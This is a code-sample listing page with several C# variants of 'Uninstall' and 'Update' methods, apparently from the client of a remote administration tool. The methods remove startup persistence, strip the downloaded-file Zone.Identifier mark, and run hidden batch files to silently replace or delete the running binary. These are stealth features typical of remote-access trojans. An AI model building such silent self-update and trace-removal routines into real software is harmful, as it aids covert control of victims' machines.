Exemple #1
0
        public static void Uninstall(Client client)
        {
            try
            {
                if (Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }

                string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create uninstall-batch file");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client);
            }
        }
        public static void Uninstall(Client client)
        {
            if (!Settings.INSTALL)
            {
                new Packets.ClientPackets.SetStatus("Uninstallation failed: Installation is not enabled").Execute(client);
                return;
            }

            RemoveExistingLogs();

            if (Settings.STARTUP)
            {
                Startup.RemoveFromStartup();
            }

            try
            {
                if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
                {
                    new Packets.ClientPackets.SetStatus("Uninstallation failed: File is read-only").Execute(client);
                }

                string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    return;
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    CreateNoWindow  = true,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);
            }
            finally
            {
                ClientData.Disconnect = true;
                client.Disconnect();
            }
        }
        public static void Uninstall(Client client)
        {
            try
            {
                if (!Settings.INSTALL)
                {
                    throw new Exception("Installation is not enabled");
                }

                RemoveExistingLogs();

                if (Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }

                if (!FileHelper.ClearReadOnly(ClientData.CurrentPath))
                {
                    throw new Exception("Could not clear read-only attribute");
                }

                string batchFile = FileHelper.CreateUninstallBatch(Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create uninstall-batch file");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);
                ClientData.Disconnect = true;
                client.Disconnect();
            }
            catch (Exception ex)
            {
                new Packets.ClientPackets.SetStatus(string.Format("Uninstallation failed: {0}", ex.Message)).Execute(client);
            }
        }
Exemple #4
0
        public static void Update(Client client, string newFilePath)
        {
            try
            {
                FileHelper.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (!FileHelper.IsValidExecuteableFile(bytes))
                {
                    throw new Exception("no pe file");
                }

                string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create update batch file.");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                if (Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }

                Program.ConnectClient.Exit();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                client.Send(new SetStatus {
                    Message = $"Update failed: {ex.Message}"
                });
            }
        }
Exemple #5
0
        public static void Update(Client c, string newFilePath)
        {
            try
            {
                FileHelper.DeleteZoneIdentifier(newFilePath);

                var bytes = File.ReadAllBytes(newFilePath);
                if (bytes[0] != 'M' && bytes[1] != 'Z')
                {
                    throw new Exception("no pe file");
                }

                string batchFile = FileHelper.CreateUpdateBatch(newFilePath, Settings.INSTALL && Settings.HIDEFILE);

                if (string.IsNullOrEmpty(batchFile))
                {
                    throw new Exception("Could not create update batch file.");
                }

                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    WindowStyle     = ProcessWindowStyle.Hidden,
                    CreateNoWindow  = true,
                    UseShellExecute = true,
                    FileName        = batchFile
                };
                Process.Start(startInfo);

                ClientData.Disconnect = true;
                if (Settings.INSTALL && Settings.STARTUP)
                {
                    Startup.RemoveFromStartup();
                }
                c.Disconnect();
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(newFilePath);
                new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(c);
            }
        }